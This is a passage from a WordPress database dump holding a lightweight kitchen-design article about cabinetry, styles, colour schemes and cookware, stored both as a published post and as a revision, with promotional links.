-->\n<p>Contrasting two-color sets are coming into trend. The classic option – a darker color in the lower part of the furniture, lighter – in the upper. But no one forbids breaking these canons. An even more interesting color pair will make a mix of textures. For example, stone and wood, marble and metal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Style</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Minimalism</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To make the minimalistic design use warm, diluted shades.&nbsp;Minimalist interiors work&nbsp;through calibrated shapes, depth of color, and a combination of textures. It is the textures that need special attention. Combine cool and warm textures, glossy and matte surfaces, etc.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Eco</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Eco-style has become more of a concept than a set of stylistic labels. The key idea is the nature of all materials. On the top is wood or its eco-friendly analogs. It is all complemented by natural interior items – clay and ceramic dishes, accessories made of stone, and bamboo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">High-Tech</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This style is characterized by&nbsp;the use of rough materials. These are concrete, metal, glass, artificial, or natural stone. The palette is mainly achromatic. Black, gray, and white are predominant. Sometimes deep shades of blue, purple, or brown are added to them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Color Scheme</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The top color schemes are:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Sandy</strong>. The most popular choice is a beige and light gray combo, which is further diluted with a white base or accents.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sage and Olive</strong>. A natural palette cannot be imagined without green. This color in any expression immediately refreshes the decor and is perfect for the kitchen.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Variety of Blue</strong>.&nbsp;The predominance of cool shades&nbsp;of the ocean, storm clouds, indigo, the sky on a sunny day, soft blue, etc.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Appliances</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The style of the headset, curtains, appliances, and beautiful cookware depends on all of the above aspects. Before you buy the desired goods, it’s worth thinking about how well the purchase will fit in with the already existing stuff in the kitchen. There are several rules for selecting cookware for the kitchen:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>matching style,</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>appropriateness of color,</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>ease of use,</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>durability and safety.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Based on these criteria and&nbsp;the chosen design, buy products and don’t forget about color combinations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.the-next-tech.com/gadgets/5-considerations-when-creating-the-kitchen-of-your-dreams/\">click here.</a></p>\n<!-- /wp:paragraph -->','5 Considerations When Creating The Kitchen Of Your Dreams','','publish','closed','closed','','5-considerations-when-creating-the-kitchen-of-your-dreams','','','2024-03-30 01:40:22','2024-03-30 01:40:22','',0,'https://smartinsurance.tips/?p=3906',0,'post','',0),(3907,1,'2024-03-30 01:32:24','2024-03-30 01:32:24','','Untitled-13','','inherit','closed','closed','','untitled-13-4','','','2024-03-30 01:32:24','2024-03-30 01:32:24','',3906,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-13.png',0,'attachment','image/png',0),(3908,1,'2024-03-30 01:39:48','2024-03-30 01:39:48','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3907,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-13-1024x1024.png\" alt=\"\" class=\"wp-image-3907\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Repair in the house is always a pleasant expectation of the result. But behind this, there is also a long choice of furniture, design, and style for everything to be perfect. The kitchen is one of the most expensive investments in an apartment. Someone saves, someone takes a loan. And before that comes the question: how to create the kitchen of your dreams?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, you need to figure out what you enjoy. Look at the photos and decide on the style direction. Visit several stores with kitchen furniture, choose the manufacturer and the external appearance, or turn to https://hawaiitrustedrealty.com/builder/kitchen-renovation, which offers excellent solutions for interior design. And now, let’s understand what you should focus on to create your dream kitchen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Cabinetry</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even recently, popular tendencies in kitchen design are giving way to new trends with rapid speed. The choice of furniture for the kitchen plays a major role because everything must be comfortable. If we talk about a modern kitchen, it must meet the following criteria:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Simplicity</strong>. Designers of modern kitchen interiors don’t use many details and decoration luxuriance. Straight lines and a minimum of decor prevail.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Functionality</strong>. Each cupboard and shelf should be used to the maximum. By choosing such cabinetry, even the most cramped kitchen becomes comfortable and roomy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Easy installation and disassembly</strong>. Modular kitchen furniture is in demand, which allows adding, removing, or rearranging individual elements depending on the clients’ needs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Reliability and safety</strong>. Loads must be calculated in the kitchen cabinetry. Tables and drawers shouldn’t roll over or fall out when opened. In terms of materials, environmentally friendly is preferred.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Design</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Trends in interior design change every year, but to make repairs and renew rooms as often is hardly possible. So you need to focus on sustainable trends:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Mezzanine Cabinets</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Unlike standard sets, mezzanine designs have an additional third level. In this way, they use the small free space between the upper edge of the cabinets and the ceiling. Thus you have more storage space and can save on finishes. Cleaning is also greatly simplified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Common Space</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The main idea here is unity. Don’t clutter the walls and partitions, not block the light, and not divide the room into small sections. It is especially important for small apartments, where you want to create the illusion of a spacious room.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The main problem is the sound and smells. But it can be solved with a powerful exhaust system and good ventilation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Multiple Colors or Textures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Contrasting two-color sets are coming into trend. The classic option – a darker color in the lower part of the furniture, lighter – in the upper. But no one forbids breaking these canons. An even more interesting color pair will make a mix of textures. For example, stone and wood, marble and metal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Style</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Minimalism</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To make the minimalistic design use warm, diluted shades. Minimalist interiors work through calibrated shapes, depth of color, and a combination of textures. It is the textures that need special attention. Combine cool and warm textures, glossy and matte surfaces, etc.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Eco</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Eco-style has become more of a concept than a set of stylistic labels. The key idea is the nature of all materials. On the top is wood or its eco-friendly analogs. It is all complemented by natural interior items – clay and ceramic dishes, accessories made of stone, and bamboo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">High-Tech</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This style is characterized by the use of rough materials. These are concrete, metal, glass, artificial, or natural stone. The palette is mainly achromatic. Black, gray, and white are predominant. Sometimes deep shades of blue, purple, or brown are added to them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Color Scheme</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The top color schemes are:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Sandy</strong>. The most popular choice is a beige and light gray combo, which is further diluted with a white base or accents.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sage and Olive</strong>. A natural palette cannot be imagined without green. This color in any expression immediately refreshes the decor and is perfect for the kitchen.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Variety of Blue</strong>. The predominance of cool shades of the ocean, storm clouds, indigo, the sky on a sunny day, soft blue, etc.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Appliances</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The style of the headset, curtains, appliances, and beautiful cookware depends on all of the above aspects. Before you buy the desired goods, it’s worth thinking about how well the purchase will fit in with the already existing stuff in the kitchen. There are several rules for selecting cookware for the kitchen:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>matching style,</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>appropriateness of color,</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>ease of use,</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>durability and safety.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Based on these criteria and the chosen design, buy products and don’t forget about color combinations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.the-next-tech.com/gadgets/5-considerations-when-creating-the-kitchen-of-your-dreams/\">click here.</a></p>\n<!-- /wp:paragraph -->','5 Considerations When Creating The Kitchen Of Your Dreams','','inherit','closed','closed','','3906-revision-v1','','','2024-03-30 01:39:48','2024-03-30 01:39:48','',3906,'https://smartinsurance.tips/?p=3908',0,'revision','',0),